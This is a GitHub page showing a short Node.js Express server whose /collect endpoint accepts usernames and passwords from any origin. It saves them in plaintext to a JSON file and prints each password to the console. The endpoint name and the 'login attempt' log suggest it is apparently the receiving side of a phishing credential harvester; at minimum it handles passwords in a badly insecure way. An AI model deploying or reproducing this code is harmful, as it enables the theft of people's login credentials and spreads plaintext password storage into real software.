-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathserver.js
58 lines (45 loc) · 1.46 KB
/
server.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
const express = require('express');
const cors = require('cors'); // Import cors
const fs = require('fs');
const app = express();
const PORT = 8001;
const usersFile = 'users.json';
// Enable CORS
app.use(cors());
// Middleware to parse JSON bodies
app.use(express.json());
// Function to read users from the JSON file
const readUsers = () => {
try {
const data = fs.readFileSync(usersFile, 'utf-8');
return JSON.parse(data);
} catch (err) {
// If the file doesn't exist, return an empty array
return [];
}
};
// Function to write users to the JSON file
const writeUsers = (users) => {
fs.writeFileSync(usersFile, JSON.stringify(users, null, 2), 'utf-8');
};
// Route to handle login data
app.post('/collect', (req, res) => {
const { username, password } = req.body;
// Basic validation
if (!username || !password) {
return res.status(400).json({ error: 'Username and password are required.' });
}
// Read existing users from the file
const users = readUsers();
// Add new user data
users.push({ username, password });
// Write updated users back to the file
writeUsers(users);
console.log(`Received login attempt: Username - ${username}, Password - ${password}`);
// Respond with a success message
res.json({ message: 'Login data saved successfully!' });
});
// Start the server
app.listen(PORT, () => {
console.log(`Server is running on http://localhost:${PORT}`);
});